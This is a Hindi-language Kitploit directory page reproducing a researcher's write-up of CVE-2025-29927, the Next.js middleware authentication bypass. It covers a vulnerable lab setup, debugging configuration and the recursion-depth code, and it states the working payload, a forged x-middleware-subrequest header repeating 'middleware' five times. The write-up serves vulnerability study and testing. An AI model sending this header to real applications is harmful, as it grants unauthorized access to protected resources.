Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-29927 — Next.js मिडलवेयर प्रमाणीकरण बाईपास | Kitploit
उपकरण/GitHubGitHub/oyst3r1ng/cve-2025-29927
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Next.js मिडलवेयर प्रमाणीकरण बाईपास

रिपॉजिटरी देखें
221 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

परिचय

x-middleware-subrequest हेडर को जाली बनाकर Next.js मिडलवेयर प्रमाणीकरण तंत्र को बायपास किया जाता है, जिससे सुरक्षित रूट्स तक अनधिकृत पहुँच संभव होती है।

वातावरण सेटअप

प्रोजेक्ट स्रोत P सर से लिया गया है, Next.js संस्करण 15.2.2 है (For Next.js 15.x, this issue is fixed in 15.2.3)।

भेद्यता वातावरण

सुनिश्चित करें कि Node और npm पहले से इंस्टॉल हैं। निम्नलिखित कमांड से संस्करण जाँचें:

root@kitploit:~
node -v
npm -v

डिपेंडेंसी इंस्टॉल करें और प्रोजेक्ट शुरू करें

root@kitploit:~
# 1. प्रोजेक्ट डायरेक्टरी में जाएं
cd vulenv

# 2. Yarn को वैश्विक रूप से इंस्टॉल करें (यदि पहले से नहीं है)
npm install -g yarn

# 3. प्रोजेक्ट डिपेंडेंसी इंस्टॉल करें
yarn install

# 4. डेवलपमेंट सर्वर शुरू करें
npm run dev

या एक साथ:

root@kitploit:~
cd vulenv && npm install -g yarn && yarn install && npm run dev

सफलता इस प्रकार:

alt text

alt text

डिबगिंग वातावरण

VScode डिबगिंग निम्नानुसार कॉन्फ़िगर करें

root@kitploit:~
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

विश्लेषण

  1. भेद्यता ट्रिगर बिंदु इस प्रकार है
root@kitploit:~
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

एक मिडलवेयर फ़ंक्शन जिसका उद्देश्य पुनरावृत्ति कॉल की गहराई का पता लगाना और अनंत लूप कॉल से बचना है। इसकी क्रियाविधि x-middleware-subrequest हेडर पर निर्भर करती है, इसे कोलन : से अलग कर कई सबरिक्वेस्ट नामों में विभाजित किया जाता है और वर्तमान मिडलवेयर नाम params.name से मेल खाने वाली संख्या (अर्थात पुनरावृत्ति स्तर) की गणना की जाती है। जब पुनरावृत्ति स्तर निर्धारित सीमा (डिफ़ॉल्ट MAX_RECURSION_DEPTH = 5) तक पहुँच जाता है या उससे अधिक हो जाता है, तो मिडलवेयर मुख्य तर्क (जैसे पहचान सत्यापन) को छोड़ देता है और अनुरोध प्रसंस्करण जारी रखता है।

युक्तियाँ: अनंत लूप कॉल से बचना, मोटे तौर पर इस प्रकार है

root@kitploit:~
उपयोगकर्ता /dashboard तक पहुँचता है
↓
मिडलवेयर इंटरसेप्ट करता है, /api/auth का अनुरोध करता है
↓
/api/auth फिर से मिडलवेयर को ट्रिगर करता है
↓
मिडलवेयर फिर से /api/auth का अनुरोध करता है
↓
...
अनंत लूप! 🌀
  1. उपयोग विधि इस प्रकार है

मिडलवेयर का नाम middleware है, निम्नलिखित हेडर बनाया जा सकता है:

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

उपरोक्त निर्माण से depth = 5 हो जाएगी, जो सीधे ट्रिगर करेगा:

root@kitploit:~
if (depth >= MAX_RECURSION_DEPTH)

यदि एप्लिकेशन पहचान सत्यापन तर्क को मिडलवेयर में लिखता है, तो इससे मिडलवेयर प्रमाणीकरण तर्क से बाहर निकल जाएगा और वापस लौटाएगा

root@kitploit:~
x-middleware-next: 1

अनुरोध को बैकएंड की ओर प्रवाहित करने देगा, जिससे बिना प्रमाणीकरण के सुरक्षित संसाधन प्राप्त हो सकते हैं

  1. उपयोग इस प्रकार है

नीचे दिए गए स्थान पर ब्रेकपॉइंट (पथ विवरण: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) सेट करने के बाद डिबगिंग शुरू करें।

alt text

Payload भेजें

alt text

नीचे दिए गए स्थान पर ब्रेकपॉइंट, देख सकते हैं कि इस समय depth का मान 5 है

alt text

निष्पादन जारी रखें, तो सुरक्षित संसाधन प्राप्त किया जा सकता है

alt text

Poc

Pocsuite3 पर आधारित, विवरण के लिए Poc_CVE-2025-29927.py देखें।

alt text

संदर्भ

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

टूल डाउनलोड करें